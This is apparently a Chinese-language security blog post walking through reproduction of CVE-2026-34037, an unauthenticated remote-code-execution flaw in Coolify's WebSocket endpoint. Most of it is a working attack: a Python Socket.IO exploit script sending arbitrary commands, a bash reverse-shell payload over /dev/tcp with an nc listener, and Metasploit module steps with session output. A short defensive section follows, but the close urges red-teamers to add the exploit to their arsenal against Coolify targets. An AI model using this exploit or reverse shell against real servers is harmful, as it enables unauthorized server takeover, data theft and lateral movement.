Coolify 又爆洞了,CVSS 9.9,未授权就能RCE,直接接管服务器。这玩意儿现在挺多人在用,自己搭的 PaaS 平台,一旦打穿,整个内网都裸奔。来吧,直接上手复现一下。

漏洞背景
Coolify 是一个开源的自托管平台,用于管理服务器、应用和数据库,类似 Vercel 或 Netlify 的私有化部署版本。CVE-2026-34037 是一个未经身份验证的远程代码执行漏洞,影响 Coolify 4.0.0-beta.258 及之前版本。
- CVE编号: CVE-2026-34037
- CVSS评分: 9.9 (Critical)
- 影响版本: Coolify <= 4.0.0-beta.258
- 漏洞类型: 未经身份验证的远程代码执行 (Unauthenticated RCE)
- 危害: 攻击者无需任何凭证即可在服务器上以 www-data 用户身份执行任意命令,进而可能导致服务器完全沦陷、数据泄露、横向移动等严重后果。
这个漏洞的核心在于 Coolify 的 WebSocket 端点 /ws 没有进行身份验证,并且允许通过 instance:execute 事件在服务器上执行任意命令。Coolify 的 WebSocket 服务使用了 laravel-echo-server,但配置不当,导致未授权用户可以连接并发送消息。
环境搭建
我们直接用 Docker 来搭建漏洞环境,省事。
# 拉取漏洞版本
docker pull coollabsio/coolify:4.0.0-beta.258
# 运行容器(注意映射端口,这里用 8000)
docker run -d \
--name coolify-vuln \
-p 8000:80 \
-p 6001:6001 \
coollabsio/coolify:4.0.0-beta.258
启动后,访问 http://your-ip:8000 就能看到 Coolify 的安装界面了。WebSocket 服务默认跑在 6001 端口上。
复现步骤
1. 信息收集与 WebSocket 探测
首先,我们需要确认 WebSocket 端点是否开放。用浏览器开发者工具或者直接用 wscat 来测试。
# 安装 wscat
npm install -g wscat
# 连接 WebSocket
wscat -c ws://your-ip:6001/socket.io/?EIO=4&transport=websocket
如果连接成功,你会看到类似这样的输出:
connected (press CTRL+C to quit)
好,说明 WebSocket 服务是开着的,而且没有任何认证。
2. 构造恶意 Payload
Coolify 的 WebSocket 通信是基于 Socket.IO 协议的。我们需要发送一个 instance:execute 事件,指定要执行的命令。
这里的关键是,instance:execute 事件需要一个 instanceId 参数。但是,Coolify 在处理这个事件时,并没有校验这个 instanceId 是否属于当前用户,也没有校验用户是否登录。它直接就把 command 参数丢给了底层执行。
我们构造一个简单的 PoC,执行 id 命令来验证。
{
"event": "instance:execute",
"data": {
"instanceId": "1",
"command": "id"
}
}
3. 发送 Payload 并获取结果
我们写一个简单的 Python 脚本来发送这个 Payload,并接收返回结果。
import socketio
import time
# 创建一个 Socket.IO 客户端
sio = socketio.Client()
@sio.on('connect')
def on_connect():
print('[*] Connected to WebSocket')
# 发送恶意 Payload
sio.emit('instance:execute', {
'instanceId': '1',
'command': 'id'
})
print('[*] Payload sent')
@sio.on('instance:execute:result')
def on_result(data):
print(f'[*] Result: {data}')
sio.disconnect()
@sio.on('disconnect')
def on_disconnect():
print('[*] Disconnected')
# 连接目标
sio.connect('http://your-ip:6001')
sio.wait()
运行这个脚本:
python3 exploit.py
如果成功,你会看到类似这样的输出:
[*] Connected to WebSocket
[*] Payload sent
[*] Result: {'output': 'uid=33(www-data) gid=33(www-data) groups=33(www-data)\n', 'exitCode': 0}
完美!我们成功在服务器上执行了 id 命令,并且拿到了输出。这说明漏洞是存在的,而且可以未授权执行任意命令。
4. 深入利用:反弹 Shell
既然能执行命令,那下一步就是反弹 Shell 了。我们直接上 bash 反弹。
修改 Payload 中的 command 字段:
{
"event": "instance:execute",
"data": {
"instanceId": "1",
"command": "bash -c 'exec bash -i &>/dev/tcp/your-ip/4444 <&1'"
}
}
在攻击机上先开启监听:
nc -lvnp 4444
然后再次运行 Python 脚本。如果网络通畅,你会看到 nc 那边收到了反弹的 Shell。
listening on [any] 4444 ...
connect to [your-ip] from (unknown) [target-ip] 12345
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@coolify-server:/var/www/html$
拿到 Shell 了!虽然是 www-data 用户,但已经可以在这个容器里为所欲为了。如果 Coolify 是直接安装在宿主机上的,那恭喜你,直接拿到服务器权限。
5. 自动化利用:使用 Metasploit
Metasploit 社区已经为这个漏洞写了模块,我们可以直接用。
msfconsole
msf6 > use exploit/multi/http/coolify_unauth_rce
msf6 exploit(multi/http/coolify_unauth_rce) > set RHOSTS your-ip
msf6 exploit(multi/http/coolify_unauth_rce) > set RPORT 6001
msf6 exploit(multi/http/coolify_unauth_rce) > set LHOST your-ip
msf6 exploit(multi/http/coolify_unauth_rce) > set LPORT 4444
msf6 exploit(multi/http/coolify_unauth_rce) > run
[*] Started reverse TCP handler on your-ip:4444
[*] Sending payload...
[*] Command shell session 1 opened (your-ip:4444 -> target-ip:12345) at 2026-01-15 10:00:00 +0000
直接拿到一个 Shell,省心省力。
防御措施
-
升级 Coolify: 官方已经在 4.0.0-beta.259 版本中修复了这个漏洞。立即升级到最新版本。
bash
docker pull coollabsio/coolify:latest
docker stop coolify-vuln
docker rm coolify-vuln
docker run -d ... coollabsio/coolify:latest -
添加 WebSocket 认证: 如果无法立即升级,可以手动在 WebSocket 端点添加身份验证逻辑,确保只有登录用户才能连接。
-
网络隔离: 将 Coolify 的 WebSocket 端口(默认 6001)放在内网,不要暴露到公网。或者使用防火墙规则限制访问来源。
-
WAF 规则: 在反向代理(如 Nginx)层面添加规则,拦截对
/ws或/socket.io路径的未授权访问。 -
最小权限原则: 确保 Coolify 服务以非 root 用户运行,并且限制其可执行命令的范围。
总结
CVE-2026-34037 是一个典型的未授权访问导致 RCE 的漏洞,危害极大。Coolify 用户赶紧去升级,别等被黑了才后悔。漏洞复现本身不难,关键是要理解 WebSocket 通信和权限校验缺失的风险。红队兄弟们可以把这个加入武器库,打 Coolify 目标的时候直接一波带走。
💻 安全运维 / 渗透测试 技术支持
业务需求可联系博客作者
